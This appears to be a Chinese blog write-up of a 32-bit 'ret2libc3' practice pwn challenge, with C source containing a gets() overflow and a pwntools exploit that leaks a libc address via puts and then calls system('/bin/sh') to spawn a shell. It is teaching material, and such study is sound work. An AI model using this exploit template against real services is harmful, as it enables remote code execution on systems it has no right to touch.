ret2libc3_x86

原创已于 2025-07-17 03:10:03 修改 · 293 阅读

3 ·

CC 4.0 BY-SA版权

文章标签：

#pwn #ret2libc #安全

于 2025-07-17 03:09:36 首次发布

源码

#include <stdio.h>
#include <stdlib.h>

void init() {
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stdin, 0, 1, 0);
	setvbuf(stderr, 0, 1, 0);
}

void vulnfunc() {
	char buf[0x100];
	puts("ret2libc3");
	gets(buf);
}

int main(){	
	init();
	vulnfunc();
}

漏洞思路

与retlibc2保护相同

ret2libc3中，只有一个gets的溢出，system和“/bin/sh”都需要自己获取。

那从哪里获取呢？

答案是动态链接库中的函数和字符串

偏移公式

vuln_addr - system_addr = libc.symbols["vuln"] - libc.symbols["system"]

写exp

这里要进行两次溢出，第一次先用puts泄漏某个函数(这里是gets)的got地址，然后再用计算出的libc库偏移找到system和“/bin/sh”

先用gdb的vmmap找到库地址

实际题目中常常要用到LibcSearcher之类的小工具来寻找libc库版本

exp

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
p = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/usr/lib/i386-linux-gnu/libc.so.6")

gets_got = elf.got["gets"]
puts_plt = elf.plt["puts"]
main_addr = 0x0804854e
p.recvuntil("ret2libc3\n")
payload1= b"a" * (0x108 + 4)
payload1 += p32(puts_plt) + p32(main_addr) + p32 (gets_got)
p.sendline(payload1)
leak_addr = u32(p.recv(4))
libc_base = leak_addr - libc.symbols["gets"]
libc.address = libc_base
log.success("libc_base:" + hex(libc.address))
system = libc.symbols["system"]
binsh = next(libc.search(b"/bin/sh"))
p.recvuntil("ret2libc3\n")
payload2 = b"a" * (0x108 + 4)
payload2 += p32(system) + b"a"*4 + p32 (binsh)
p.sendline(payload2)
p.interactive()